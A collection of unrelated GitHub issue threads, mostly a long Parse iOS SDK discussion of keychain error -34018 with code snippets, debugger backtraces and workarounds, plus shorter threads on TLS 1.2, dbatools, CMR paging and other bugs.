This is the encryption used in comminication from server to server, and from browser to server. So your merchant site - you shop - must be able to support TLS1.2, and have TLS1.0 and TLS1.1 disabled. When the gateway contacts your site, it will expect to use TLS1.2 as well.
There are other TLS and SSL requirements involved that I am not an expert in, so you may need to take advice from your hosting provider. But the bottom line is that this is about how your server talks to the end user browser, and to the payment gateway.
There are PCI checking services (mostly paid for, but some give free limited trials) that will exercice all the protocls on your server, and will warn you if any fail to meet the required standards.

Thanks for the quick response.
So it's the TLS 1.2 that's necessitating drop of 3DES, and that's not used in Omnipay, correct?

This Omnipay driver does not internally use any encryption. That is something the server deals with. You will need to check how the server is set up, and possibly make some configuration adjustments there.

Thanks for the confirmation. Have been checking in with host too.


Enhance Test-DbaBuild to include all Components of SQL Server

Summary of new feature
Enhance Test-DbaBuild to include all Components of SQL Server, SSAS, SSIS and SSRS.
Proposed technical details (if applicable)
From this URL:https://www.mssqltips.com/sqlservertip/3549/inventory-sql-server-services-version-and-edition/
Something like this that returns all the inventory and build of all SQL components.
Latest version of dbatools as of writing
1.0.137

I don't think we track individual components, unless their version matches up with the SQL Server version. If so, this would be doable and interesting. What you think, @jpomfret ?


Use CMR Search After functionality for retrieving more than 2000 results

Implement API interaction as per https://cmr.earthdata.nasa.gov/search/site/docs/search/api.html#paging-details.
This will improve performance for the user and decrease the burden on CMR for large result sets.

Fixed by https://github.com/nasa/python_cmr/pull/22


[Suggestion] Add config (perhaps) for disabling or lessening slash effects on first person view

Just happened to notice it is pretty hard to see what you are hitting due to all effects going on, so it might be handy that user who do this either has no effects shown on first person view or at least lessened, would this be something you'd consider? I mean, it's not super badly in the way, but sometimes can be bit of problem, not always though.

Sounds like a great idea! I'll see what I can do! 👌

That configuration option will be added in the next update under the celestisynth/client.toml file! (Unfortunately, I haven't found a workaround for it to work on servers at the moment)
Thank you for the suggestion!


Share to Facebook results in Not Found link

When sharing to Facebook from the /view/ page, the link populates a "Not Found" preview.  If the link is clicked after sharing, the user is directed to a Not Found page.
Example: https://www.refundcleveland.com/7a573a22-f172-421b-9b1e-daaa98caef1e/view/{{ id }}/view/?fbclid=IwAR0xG78-PKynX12Q4q07N3vCk8neAcjIKB_Wnd8Z1_3rBwn33t8VpM07ffU

This is the same link that populates for Twitter and also results in Not Found.

Perhaps we should remove the links until it's resolved. I can add a meta image so there is a preview (when pasting the link manually on fb/twitter)

I fixed this in the poorly named fix-73 branch.


Terminal execute command from escaped brackets

Issue summary
If you write XML inside escaped brackets, the terminal will invoke the HTML as extended command
Expected behavior
It should print the brackets and apply formatting inside
Steps to reproduce

Open repro

Browser and OS
N/A
Additional notes
The library probably unescapes the brackets on some point

Another issue is calling:
term.echo($.terminal.escape_brackets($.terminal.apply_formatters(output)));
// Recursive loop in echo detected, skip


chore: bdd-spring-1585391635 to 0.0.1

chore: Promote bdd-spring-1585391635 to version 0.0.1

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by:
To fully approve this pull request, please assign additional approvers.
We suggest the following additional approvers:
If they are not already assigned, you can assign the PR to them by writing /assign  in a comment when ready.
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment


PFKeychainStore failed to set object for key 'currentUser', with error: -34018

User is authenticated with facebook.
sometimes when i try to do a fb request:
let graphRequest : FBSDKGraphRequest = FBSDKGraphRequest(graphPath: "me/friends", parameters: nil)
graphRequest.startWithCompletionHandler({ (connection, result, error) -> Void in
it spams:
PFKeychainStore failed to set object for key 'currentUser', with error: -34018
in the console.

Hey @a1exb1, this sounds super weird.
The error is coming down from our keychain storage for authData/sessionToken for currentUser, since that information should be private.
Any chance you can get us more context on when it happens and/or more data about the state of currentUser when the problem happens?

I also get this issue periodically and it's hard to tell what causes it.  It just seems like it can randomly occur.  I'm finding debugging the Parse SDK to be indeed very difficult because you can't trace back to the calling context due to all the BFTasks in between, etc.
I'm using a pretty recent SDK, since I only started working with Parse 1-2 weeks ago.

The same for me. I have tried it in two apps, one with FB authentication and one without.
Both fire this error log. You have to hard close the app and rerun it again, so you can hope to get logged in.
This bug is killing me, because one time appears, and one time it doesn't. And I am using the latest SDK.
@nlutsenko We need your magic touch :).

yes, seriously.  This has basically torpedoed my client’s project.
Can we get any insight into why it happens??
On Friday 30 October 2015 at 09:55, Perjan Duro wrote:

The same for me. I have tried it in two apps, one with FB authentication and one without.
Both fire this error log. You have to hard close the app and rerun it again, so you can hope to get logged in.
This bug is killing me, because one time appears, and one time it doesn't. And I am using the latest SDK.
@nlutsenko (https://github.com/nlutsenko) We need your magic touch :).
—
Reply to this email directly or view it on GitHub (https://github.com/ParsePlatform/Parse-SDK-iOS-OSX/issues/437#issuecomment-152463261).

Just right now I got this error, when I tried to edit a property in a PFUser logged from a FB account.
[Error]: Caught "NSInternalInconsistencyException" with reason "User cannot be saved unless they have been authenticated via logIn or signUp":

For me it just continues to carry on working, but I’m unsure as to what’s happened.  I don’t get invalid session token errors or anything like that.
On Friday 30 October 2015 at 10:48, Perjan Duro wrote:

Just right now I got this error, when I tried to edit a property in a PFUser logged from a FB account.
[Error]: Caught "NSInternalInconsistencyException" with reason "User cannot be saved unless they have been authenticated via logIn or signUp":
—
Reply to this email directly or view it on GitHub (https://github.com/ParsePlatform/Parse-SDK-iOS-OSX/issues/437#issuecomment-152475342).

I updated to Parse v 1.9.1 .  So far so good...

I have seen this again, but I'm wondering if it's because it's an async API and I had set a breakpoint.  Anyhow, the problem is much less running 1.9.1 !!

Hey guys, I've looked further into this error, and it looks to be a bug in the Security framework itself.
It's been discussed and acknowledged by Apple here - https://forums.developer.apple.com/thread/4743#14441
Is anyone getting any other error except of -34018?

I just got this error. On Parse 1.9.1 and Facebook 4.7.0.
[Error]: PFKeychainStore failed to get object for key 'currentUser', with error: -34018

I am having the same error when login with Twitter, every time. I am using Parse 1.9.1

This keeps happening with an app I am developing as well. It is preventing us from moving forward.

@brennanMKE How does this prevent you guys from proceeding?
Is there a change in behavior or say failing requests? Or simply an error logged to the console?

@nlutsenko We are trying to get push notifications to work and I am trying to set values on the User instance so that Cloud Code can determine when a push will be triggered. Since I cannot set values on the User it prevents push notifications from being processed.
Either I get this error or UserCannotBeAlteredWithoutSessionError. I have the AppDelegate run PFUser.enableAutomaticUser() in application:didFinishLaunchingWithOptions: which should ensure that an anonymous user is created. Yet sometimes it is nil after it shows the error with the keychain. Then  once I do get a user it is not possible to save the user because of the session.

Gotcha. @brennanMKE, any chance you can add a repro project that has this issue reproducible at least semi-consistently?

@nlutsenko
I dug into it and found something which does not make sense to me. This is an iOS app built with Swift. I have been using PFUser.currentUser() after Parse is initialized and PFUser.enableAutomaticUser() is called. I am expecting that PFUser.currentUser() always returns a valid user but sometimes it returns a nil value.
So I called PFSession.getCurrentSessionInBackgroundWithBlock to get a session and checked session?.objectForKey("user") which does return a user but the objectId on that user does not match the user from PFUser.currentUser().
I expect that currentUser and currentSession would be synced up when enableAutomaticUser is used. What I am going to do next is a create a class in Swift called ParseSupport which will use blocks to return the Session and User objects and never use PFUser.currentUser() and instead always go through the Session. That approach may prevent these errors and allow  for saving a user reliably.
Are my expectations accurate or am I not understanding how currentUser and currentSession should work?

That is super strange at this point... enableAutomaticUser() has a guarantee indeed that PFUser.currentUser() won't be nil, and it will create an empty unsaved user for you otherwise (won't save it automatically to Parse, but will create in-memory local one for sure).
session?["user"] should be set to PFUser.currentUser(), otherwise there is something funky going on with the sessionToken, meaning that the PFUser.currentUser().sessionToken belongs to a different user than the currentUser().
I am extremely curious to see the repro for this and fix/investigate further.

I now get invalid session token when I try to save changes to the user. I am going delete and reinstall the app again. It's strange.

After deleting and installing the app again it immediately shows the -34018 error.
PFKeychainStore failed to get object for key 'currentUser', with error: -34018
[Error]: invalid session token (Code: 209, Version: 1.9.1)
It is like the keychain is persisting data across app installs and I do not know a good way to do that on my device without doing a full reset like I can do with the iOS Simulator.

@brennanMKE Can you please attach a sample repro project? I will be more than glad to investigate, but simply can't repro it running on the device.

There is nothing unusual in this app. In the AppDelegate in application:didFinishLaunchingWithOptions: Parse is configured like I have done many times. Then the code immediately tries to get the current user and save it to ensure that any other calls later, such as saving the user with the PFInstallation object work. I do not know if creating another project would recreate this problem. What I'd like to do is reset the keychain for the app but unfortunately deleting the app does not also remove keychain items related to the app so they seem to be there when the app is installed from Xcode later.
// Parse.enableLocalDatastore()
Parse.setApplicationId("appId", clientKey:"clientKey")
PFUser.enableAutomaticUser()

I have enabled the local database though not objects were pinned. I have since commented out that line.

@nlutsenko What I am doing now is preparing some code in Swift which will log out the current values in the keychain so I can see what is in there. And once I can see the keychain items I will delete them. Maybe that will fix the problem.
I do not think it is the code. It is the persisting data in the keychain which is not being purged between installs.

I have been facing this issue for last 2 weeks very consistently. It is easily reproducible as well. I just force a webview based authentication:
[PFFacebookUtils setFacebookLoginBehavior:FBSessionLoginBehaviorForcingWebView];
[PFFacebookUtils logInWithPermissions:permissionsArray block:^(PFUser *user, NSError *error) {
if (!user) {
return;
} else if (user.isNew) {
FBSDKGraphRequest *request = [[FBSDKGraphRequest alloc] initWithGraphPath:@"me" parameters:@{@"fields": @"name, picture, email, gender, location, about, bio"}];
[request startWithCompletionHandler:^(FBSDKGraphRequestConnection *connection, id result, NSError *error) {
NSLog(@"Error %@",error);
}];
}
}];
I first get the following error from above block:
body =     {
error =         {
code = 2500;
"fbtrace_id" = BNWEwNELi9T;
message = "An active access token must be used to query information about the current user.";
type = OAuthException;
};
};
code = 400;
Then, it throws:
PFKeychainStore failed to get object for key 'currentUser', with error: -34018

That error above ^^ looks like is coming from FBSDK not Parse.
I wonder if there is something weird going on in their field...

@nlutsenko If it helps, [FBSDKAccessToken currentAccessToken] is nil on a new user signup in the logInWithPermissions: block. However, in my subsequent login attempts using the above method, there is no error. So, I was guessing it could be because current user is not linked with the FBAccessToken. I can provide more info if you want.

@kshdeo I would love to see the full repro project that I can repro this with, as any of the local testing that I am doing doesn't surface this issue in any way. If it's super private - you can send it to nlutsenko(at)fb.com

Thanks @nlutsenko ! I will send you a stripped down version of the project removing the private pieces.

Hey @nlutsenko , did you receive my email with the app code attached?

@kshdeo, yes, didn't have a chance to dive deep into this. Sorry for the delay, will try my best to get to it fast.

@kshdeo actually I did not, for some reason it didn't attach to the email that you've sent.
@brennanMKE I can't seem to be able to open your project either :( Can you re-send it again?

@kshdeo Found the issue with your project - let me fix it real quick and send it back to you.
tl;dr Usage of ParseFacebookUtils for FBSDK v3 with FBSDK v4 :)

Just started using Parse again, and I'm experiencing this "error" as well. It logs in the console in Xcode, but surprisingly doesn't seem to have any negative effect as I continue to use the app. It also seems to happen sporadically, and does not always happen when I signup as a new user.
I'm going to take another look at it in the morning and see if I can figure out what exactly is causing this to log to the console. Here's the exact error:
[Error]: PFKeychainStore failed to get object for key 'currentUser', with error: -34018
Here's a list of some of the related Pods and their versions that I'm using:

FBSDKCoreKit (4.8.0):

Bolts (~> 1.1)
FBSDKCoreKit/arc (= 4.8.0)
FBSDKCoreKit/no-arc (= 4.8.0)
FBSDKCoreKit/arc (4.8.0):

Bolts (~> 1.1)

FBSDKCoreKit/no-arc (4.8.0):

Bolts (~> 1.1)
FBSDKCoreKit/arc

FBSDKLoginKit (4.8.0):

FBSDKCoreKit

FBSDKShareKit (4.8.0):

FBSDKCoreKit

Parse (1.9.1):

Bolts/Tasks (>= 1.4.0)
ParseFacebookUtilsV4 (1.9.1):

Bolts/Tasks (>= 1.5)
FBSDKCoreKit (~> 4.8)
FBSDKLoginKit (~> 4.8)
Parse (~> 1.9)

Thanks @nlutsenko. The link you sent gives an error saying that I do not have access so I could not test.

I've done a bit of research on that:
http://stackoverflow.com/questions/29740952/osstatus-error-code-34018
I've been able to work around it by force signing the binary as an extra build script:
The following snippet with get the proper signing identity and force sign the binary.
https://devforums.apple.com/message/917498#917498
echo "codesign --verify --force --sign \"$CODE_SIGN_IDENTITY\" \"$CODESIGNING_FOLDER_PATH\""
IDENTITIES=`security find-identity -v -s "Code Signing" | grep "iPhone Developer" | awk '{ print $2 }'`

for SHA in $IDENTITIES; do
    codesign --verify --force --sign $SHA "$CODESIGNING_FOLDER_PATH"
    if [ $? -eq 0 ]; then
        echo "Matching identity found: $SHA"
        exit 0
    fi
done;

exit 1

I talked with another iOS dev last night who has also had trouble with the iOS keychain. He confirmed that he saw what I have been seeing. Even when I delete an app and reinstall it the data in the keychain for the app is still there. I believe since it is still in place it causes this problem with the user and session. I expect that with an anonymous user the current user and session will always be valid, especially when the app is deleted and reinstalled again.

Currently with the Parse SDK there is no way to reset the user and session data in the keychain. I'd like to have some way of clearing it out to eliminate this problem.

@brennanMKE PFUser.logOut() will completely reset the keychain, meaning it will remove anything from the keychain that was persisted there for this user.

@nlutsenko Thanks, when I get that error code I will try that. That might clear it up.

I still get this error a lot even after calling PFUser.logOut() and restarting the app.
PFKeychainStore failed to get object for key 'currentUser', with error: -34018

Behavior is sporadic. I now have this code in the AppDelegate which runs when the app is launched. It should not fail with an error but if it does the code will log out the user. The goal is to at least clear out the keychain if there are problems and once the app is restarted the current user and session will be in a good state.
if let user = PFUser.currentUser() {
    user.setObject(Tracker.sharedInstance().getUserIdentifier(), forKey: "localUserIdentifier")
    user.saveInBackgroundWithBlock({ (success, error) -> Void in
        if let error = error {
            Tracker.sharedInstance().trackParseError(error)
            // reset the user by clearing out the keychain items
            PFUser.logOut()
        }
        else if success {
            let installation = PFInstallation.currentInstallation()
            installation.setObject(user, forKey: "user")
            installation.saveInBackground()
        }
    })
}

@brennanMKE I agree.  I get this sporadically too.  For me, I'm checking to see if the user is logged in during app start and it prints out the error but PFUser.currentUser() proceeds as normal.  It would be nice if it failed so I could do something about it.

+1
Using Parse (1.11.0)
Using ParseFacebookUtilsV4 (1.9.1)
Using FBSDKCoreKit (4.8.0)
Using FBSDKLoginKit (4.8.0)
Using FBSDKShareKit (4.8.0)

Well, I'm still getting the error using the Parse 1.11.0 client...
PFKeychainStore failed to get object for key 'currentUser', with error: -34018

When I get a chance, I will try and see if I can dig deeper into this and report anything I find.

I too am getting this error, I created a stackoverflow question...and I was pointed to this thread - however it seems like the problem has not been resolved here. I am using the latest Parse SDK and still receiving the error with both setObject and setValue.
My stack question is here: http://stackoverflow.com/questions/34381870/parse-error-when-updating-user-info-with-currentuser?noredirect=1#comment56515769_34381870

I just tried again and didn't have an issue - I'll report back if it happens again.

Now I am getting the error, but it is not affecting the storing of data on parse.

-> PFKeychainStore failed to set object for key 'currentUser', with error: -34018
-> 1.11.0
When tried to login via Twitter it goes too long and that this error appeared.
It causes server side errors because "request.user == null" in that case

@nlutsenko Would be some actions due to this issue.

@nlutsenko Once again. Would be some actions with this issue?

@batkov, I am going to dive deep into this today closer, but as before - any good repro would be very welcome.

@nlutsenko I've been trying to see if I can find a good way to reproduce this error, unfortunately, it appears to be fairly random so it leads be to think that it maybe concurrency related.  I don't know how others are getting this error, but for me it happens quite often during development, especially when starting and stopping the app in Xcode.  I don't know if that actually prevents the Parse SDK from saving the account info into the Keychain when abruptly stopping an app.  Unfortunately, I haven't had a chance to take a look into the SDK source myself...

Does this help at all?  I put a breakpoint where the error message occurs and I printed a backtrace from lldb.
(lldb) bt
* thread #2: tid = 0x2d7142, 0x0000000100b42b38 Parse`-[PFKeychainStore _dataForKey:](self=0x000000013edc8f90, _cmd="_dataForKey:", key=@"currentUser") + 368 at PFKeychainStore.m:112, queue = 'com.parse.keychain.io.bluecloud.LogLittle.com.parse.sdk', stop reason = breakpoint 6.1
  * frame #0: 0x0000000100b42b38 Parse`-[PFKeychainStore _dataForKey:](self=0x000000013edc8f90, _cmd="_dataForKey:", key=@"currentUser") + 368 at PFKeychainStore.m:112
    frame #1: 0x0000000100b4281c Parse`__32-[PFKeychainStore objectForKey:]_block_invoke(.block_descriptor=0x000000016e086a68) + 56 at PFKeychainStore.m:80
    frame #2: 0x0000000102695bb0 libdispatch.dylib`_dispatch_client_callout + 16
    frame #3: 0x00000001026a1b08 libdispatch.dylib`_dispatch_sync_f_invoke + 136
    frame #4: 0x0000000100b42574 Parse`-[PFKeychainStore objectForKey:](self=0x000000013edc8f90, _cmd="objectForKey:", key=@"currentUser") + 280 at PFKeychainStore.m:79
    frame #5: 0x0000000100b42994 Parse`-[PFKeychainStore objectForKeyedSubscript:](self=0x000000013edc8f90, _cmd="objectForKeyedSubscript:", key=@"currentUser") + 72 at PFKeychainStore.m:98
    frame #6: 0x0000000100b102f0 Parse`__80-[PFCurrentUserController _loadSensitiveUserDataAsync:fromKeychainItemWithName:]_block_invoke(.block_descriptor=0x000000013ed74db0) + 132 at PFCurrentUserController.m:278
    frame #7: 0x000000010050cf4c Bolts`__37+[BFTask taskFromExecutor:withBlock:]_block_invoke(.block_descriptor=<unavailable>, task=0x000000013ed74e40) + 80 at BFTask.m:204
    frame #8: 0x000000010050e244 Bolts`__55-[BFTask continueWithExecutor:block:cancellationToken:]_block_invoke_2(.block_descriptor=<unavailable>) + 124 at BFTask.m:336
    frame #9: 0x0000000102695bf0 libdispatch.dylib`_dispatch_call_block_and_release + 24
    frame #10: 0x0000000102695bb0 libdispatch.dylib`_dispatch_client_callout + 16
    frame #11: 0x00000001026a4e10 libdispatch.dylib`_dispatch_root_queue_drain + 2344
    frame #12: 0x00000001026a44d8 libdispatch.dylib`_dispatch_worker_thread3 + 132
    frame #13: 0x00000001808e1470 libsystem_pthread.dylib`_pthread_wqthread + 1092

There's also a very large stack trace on thread 2 (in my case) in the Debug Navigator.  I'll see if there's a better way to extract the data for you instead of providing screenshots.

@zenkimoto try using thread bt all, that should give output from all threads.

@richardjrossiii Thank you!!  I learned something new about LLDB!
The application stopped this time on thread 7.  While I can't find a good way to reproduce this, hopefully this will give you some clue?
Here's the backtrace for all threads.
  thread #1: tid = 0x315547, 0x00000001808014f8 libsystem_kernel.dylib`semaphore_wait_trap + 8, queue = 'com.apple.main-thread'
    frame #0: 0x00000001808014f8 libsystem_kernel.dylib`semaphore_wait_trap + 8
    frame #1: 0x0000000102687b94 libdispatch.dylib`_dispatch_semaphore_wait_slow + 244
    frame #2: 0x0000000100a96ae4 Parse`-[BFTask(self=0x0000000127eb6350, _cmd="waitForResult:withMainThreadWarning:", error=0x0000000000000000, warningEnabled=NO) waitForResult:withMainThreadWarning:] + 228 at BFTask+Private.m:120
    frame #3: 0x0000000100ba0a64 Parse`+[PFUser currentUser](self=PFUser, _cmd="currentUser") + 108 at PFUser.m:781

    ... Single Threaded Call Stack of my Application to [PFUser currentUser] method ...

    frame #14: 0x000000010004d198 LogLittle`@objc LogLittle.AppDelegate.application (LogLittle.AppDelegate)(__ObjC.UIApplication, didFinishLaunchingWithOptions : Swift.Optional<Swift.Dictionary<__ObjC.NSObject, Swift.AnyObject>>) -> Swift.Bool + 208 at AppDelegate.swift:0
    frame #15: 0x00000001859e1704 UIKit`-[UIApplication _handleDelegateCallbacksWithOptions:isSuspended:restoreState:] + 400
    frame #16: 0x0000000185c10130 UIKit`-[UIApplication _callInitializationDelegatesForMainScene:transitionContext:] + 2904
    frame #17: 0x0000000185c144b8 UIKit`-[UIApplication _runWithMainScene:transitionContext:completion:] + 1672
    frame #18: 0x0000000185c115c0 UIKit`-[UIApplication workspaceDidEndTransaction:] + 168
    frame #19: 0x000000018222f790 FrontBoardServices`-[FBSSerialQueue _performNext] + 184
    frame #20: 0x000000018222fb10 FrontBoardServices`-[FBSSerialQueue _performNextFromRunLoopSource] + 56
    frame #21: 0x0000000180c30efc CoreFoundation`__CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ + 24
    frame #22: 0x0000000180c30990 CoreFoundation`__CFRunLoopDoSources0 + 540
    frame #23: 0x0000000180c2e690 CoreFoundation`__CFRunLoopRun + 724
    frame #24: 0x0000000180b5d680 CoreFoundation`CFRunLoopRunSpecific + 384
    frame #25: 0x00000001859da580 UIKit`-[UIApplication _run] + 460
    frame #26: 0x00000001859d4d90 UIKit`UIApplicationMain + 204
    frame #27: 0x000000010004ec00 LogLittle`main + 136 at AppDelegate.swift:16
    frame #28: 0x00000001806fe8b8 libdyld.dylib`start + 4

  thread #2: tid = 0x315578, 0x000000018081cb6c libsystem_kernel.dylib`__workq_kernreturn + 8
    frame #0: 0x000000018081cb6c libsystem_kernel.dylib`__workq_kernreturn + 8
    frame #1: 0x00000001808e1530 libsystem_pthread.dylib`_pthread_wqthread + 1284

  thread #3: tid = 0x315579, 0x000000018081d4fc libsystem_kernel.dylib`kevent_qos + 8, queue = 'com.apple.libdispatch-manager'
    frame #0: 0x000000018081d4fc libsystem_kernel.dylib`kevent_qos + 8
    frame #1: 0x000000010268a270 libdispatch.dylib`_dispatch_mgr_invoke + 232
    frame #2: 0x0000000102677e2c libdispatch.dylib`_dispatch_mgr_thread + 52

  thread #4: tid = 0x31557b, 0x00000001808014f8 libsystem_kernel.dylib`semaphore_wait_trap + 8, queue = 'com.parse.preload'
    frame #0: 0x00000001808014f8 libsystem_kernel.dylib`semaphore_wait_trap + 8
    frame #1: 0x0000000102687b94 libdispatch.dylib`_dispatch_semaphore_wait_slow + 244
    frame #2: 0x0000000100a96ae4 Parse`-[BFTask(self=0x0000000127eaed50, _cmd="waitForResult:withMainThreadWarning:", error=0x0000000000000000, warningEnabled=NO) waitForResult:withMainThreadWarning:] + 228 at BFTask+Private.m:120
    frame #3: 0x0000000100ba0a64 Parse`+[PFUser currentUser](self=PFUser, _cmd="currentUser") + 108 at PFUser.m:781
    frame #4: 0x0000000100a9cba4 Parse`__47-[ParseManager preloadDiskObjectsToMemoryAsync]_block_invoke(.block_descriptor=<unavailable>) + 76 at ParseManager.m:440
    frame #5: 0x00000001004acf4c Bolts`__37+[BFTask taskFromExecutor:withBlock:]_block_invoke(.block_descriptor=<unavailable>, task=0x0000000127ead270) + 80 at BFTask.m:204
    frame #6: 0x00000001004ae244 Bolts`__55-[BFTask continueWithExecutor:block:cancellationToken:]_block_invoke_2(.block_descriptor=<unavailable>) + 124 at BFTask.m:336
    frame #7: 0x0000000102675bf0 libdispatch.dylib`_dispatch_call_block_and_release + 24
    frame #8: 0x0000000102675bb0 libdispatch.dylib`_dispatch_client_callout + 16
    frame #9: 0x00000001026826c8 libdispatch.dylib`_dispatch_queue_drain + 1036
    frame #10: 0x00000001026798a0 libdispatch.dylib`_dispatch_queue_invoke + 464
    frame #11: 0x0000000102675bb0 libdispatch.dylib`_dispatch_client_callout + 16
    frame #12: 0x0000000102684e10 libdispatch.dylib`_dispatch_root_queue_drain + 2344
    frame #13: 0x00000001026844d8 libdispatch.dylib`_dispatch_worker_thread3 + 132
    frame #14: 0x00000001808e1470 libsystem_pthread.dylib`_pthread_wqthread + 1092

  thread #5: tid = 0x31557c, 0x000000018081cb6c libsystem_kernel.dylib`__workq_kernreturn + 8
    frame #0: 0x000000018081cb6c libsystem_kernel.dylib`__workq_kernreturn + 8
    frame #1: 0x00000001808e1530 libsystem_pthread.dylib`_pthread_wqthread + 1284

* thread #7: tid = 0x315581, 0x0000000100af2b38 Parse`-[PFKeychainStore _dataForKey:](self=0x0000000127eaf1d0, _cmd="_dataForKey:", key=@"currentUser") + 368 at PFKeychainStore.m:112, queue = 'com.parse.keychain.io.bluecloud.LogLittle.com.parse.sdk', stop reason = breakpoint 3.1
  * frame #0: 0x0000000100af2b38 Parse`-[PFKeychainStore _dataForKey:](self=0x0000000127eaf1d0, _cmd="_dataForKey:", key=@"currentUser") + 368 at PFKeychainStore.m:112
    frame #1: 0x0000000100af281c Parse`__32-[PFKeychainStore objectForKey:]_block_invoke(.block_descriptor=0x000000016e246a68) + 56 at PFKeychainStore.m:80
    frame #2: 0x0000000102675bb0 libdispatch.dylib`_dispatch_client_callout + 16
    frame #3: 0x0000000102681b08 libdispatch.dylib`_dispatch_sync_f_invoke + 136
    frame #4: 0x0000000100af2574 Parse`-[PFKeychainStore objectForKey:](self=0x0000000127eaf1d0, _cmd="objectForKey:", key=@"currentUser") + 280 at PFKeychainStore.m:79
    frame #5: 0x0000000100af2994 Parse`-[PFKeychainStore objectForKeyedSubscript:](self=0x0000000127eaf1d0, _cmd="objectForKeyedSubscript:", key=@"currentUser") + 72 at PFKeychainStore.m:98
    frame #6: 0x0000000100ac02f0 Parse`__80-[PFCurrentUserController _loadSensitiveUserDataAsync:fromKeychainItemWithName:]_block_invoke(.block_descriptor=0x0000000127ebb2b0) + 132 at PFCurrentUserController.m:278
    frame #7: 0x00000001004acf4c Bolts`__37+[BFTask taskFromExecutor:withBlock:]_block_invoke(.block_descriptor=<unavailable>, task=0x0000000127e96c80) + 80 at BFTask.m:204
    frame #8: 0x00000001004ae244 Bolts`__55-[BFTask continueWithExecutor:block:cancellationToken:]_block_invoke_2(.block_descriptor=<unavailable>) + 124 at BFTask.m:336
    frame #9: 0x0000000102675bf0 libdispatch.dylib`_dispatch_call_block_and_release + 24
    frame #10: 0x0000000102675bb0 libdispatch.dylib`_dispatch_client_callout + 16
    frame #11: 0x0000000102684e10 libdispatch.dylib`_dispatch_root_queue_drain + 2344
    frame #12: 0x00000001026844d8 libdispatch.dylib`_dispatch_worker_thread3 + 132
    frame #13: 0x00000001808e1470 libsystem_pthread.dylib`_pthread_wqthread + 1092

  thread #8: tid = 0x315582, 0x000000018081cb6c libsystem_kernel.dylib`__workq_kernreturn + 8
    frame #0: 0x000000018081cb6c libsystem_kernel.dylib`__workq_kernreturn + 8
    frame #1: 0x00000001808e1530 libsystem_pthread.dylib`_pthread_wqthread + 1284

  thread #9: tid = 0x315583, 0x000000018081cb6c libsystem_kernel.dylib`__workq_kernreturn + 8
    frame #0: 0x000000018081cb6c libsystem_kernel.dylib`__workq_kernreturn + 8
    frame #1: 0x00000001808e1530 libsystem_pthread.dylib`_pthread_wqthread + 1284

  thread #10: tid = 0x315584, 0x000000018081cb6c libsystem_kernel.dylib`__workq_kernreturn + 8
    frame #0: 0x000000018081cb6c libsystem_kernel.dylib`__workq_kernreturn + 8
    frame #1: 0x00000001808e1530 libsystem_pthread.dylib`_pthread_wqthread + 1284

  thread #11: tid = 0x315589, 0x00000001808014bc libsystem_kernel.dylib`mach_msg_trap + 8, name = 'com.apple.NSURLConnectionLoader'
    frame #0: 0x00000001808014bc libsystem_kernel.dylib`mach_msg_trap + 8
    frame #1: 0x0000000180801338 libsystem_kernel.dylib`mach_msg + 72
    frame #2: 0x0000000180c30ac0 CoreFoundation`__CFRunLoopServiceMachPort + 196
    frame #3: 0x0000000180c2e7c4 CoreFoundation`__CFRunLoopRun + 1032
    frame #4: 0x0000000180b5d680 CoreFoundation`CFRunLoopRunSpecific + 384
    frame #5: 0x00000001812cd434 CFNetwork`+[NSURLConnection(Loader) _resourceLoadLoop:] + 412
    frame #6: 0x000000018163bc40 Foundation`__NSThread__start__ + 1000
    frame #7: 0x00000001808e3b28 libsystem_pthread.dylib`_pthread_body + 156
    frame #8: 0x00000001808e3a8c libsystem_pthread.dylib`_pthread_start + 156

I'm getting the same symptoms as what @mitchellporter mentioned above.

Also getting this issue, not using Facebook login or anything like that, just logging the user in on the server and using becomeInBackground:. Previously got this issue previously using loginWithUsername:password:
Issue persists when deleting and reinstalling the app.

I've done a bit of poking around and can see that the issue occurs for me on line 72 of PFUserController - specifically when the app has logged in succesfully, and then tries to serialize the user object to disk so it can be accessed later via currentUser:
    return [[controller saveCurrentObjectAsync:user] continueWithBlock:^id(BFTask *task) {
        return user;
    }];

Hopefully this helps you guys out.

I too have been getting this issue sporadically. Currently haven't found a way to reproduce it. I'm not using Facebook login or automatic users though. I only use the loginWithUsername:password: and logout methods.

I have been getting this issue few months. I don't use neither FaceBook login, nor Twitter. Only loginWithUsername and password.
It hasn't bothered me until it stopped saving data in background to my PFUser.currentUser()

+1

+1

Getting the same error with parse-server running locally.
PFKeychainStore failed to get object for key 'currentUser', with error: -34018

This error has been around for quite long. They just announced they are turning Parse down, so do not expect this to be fixed. In my tests I have realized that this only happens when debugging, so in release it won't happen

On 31 Jan 2016, at 01:53, Makar<EMAIL_ADDRESS>wrote:
Getting the same error with parse-server running locally.
PFKeychainStore failed to get object for key 'currentUser', with error: -34018
―
Reply to this email directly or view it on GitHub.

They just announced they are turning Parse down, so do not expect this to be fixed.

All of the code is open sourced, nothing stopping the community from fixing this.

getting the same bug

+1
I have had this bug when logout and login several times.But it occurs randomly.

I'm using regular login username/password.
I had the same issue today, especially after running the app on my device, but using my Parse "dev" app, instead of my "prod" app. I specifically ran the app by after changing the ParseAppID/ParseClientID to my dev ones (without deleting the app first). Since then it corrupted my session token.
I tried deleting the app, logging out > logging back in, logging out > guest login > log back in, etc... Nothing worked. Logging in using other users was fine, just that user got corrupted.

So I ended up going to Parse Dashboard > Session > locate the sessions that point to that corrupted user object > Delete them.

Then I logged back in, which showed the same PFKeychainStore errors, then if you close the app, and run again, it will show invalid session token.

The only way that "resolved" the issue was to:
a. Keep the user logged in on the device.
b. On Parse Dashboard > Session > located that last session token that was created/updated that points to the corrupted user.
c. Delete it
d. Run the app again, which will show an invalid session token (which is expected, as you deleted the entry for it).
e. Login again using username/password
f. Shouldn't see the error anymore. Consecutive app launches should behave fine.

Hope that helps!

posted this as a separate issue but I think it belongs here.
Getting this error when trying to save relations to a user after updating my app from 1.6.2 -> 1.12.0 in anticipation of migration. However after updating my iOS app "Tipped" which uses PFRelation a lot..... is super buggy, and weirdly the scroll performance on my collection views have dropped.
Here is the error response when trying to save a relation:
error response/ console log in xcode:
2016-03-01 15:24:29.415  [Error]: PFKeychainStore failed to get object for key 'currentUser', with error: -34018
2016-03-01 15:24:29.421 [Error]: PFKeychainStore failed to set object for key 'currentUser', with error: -34018
like obejct saved for Optional("bubbles")
Code:
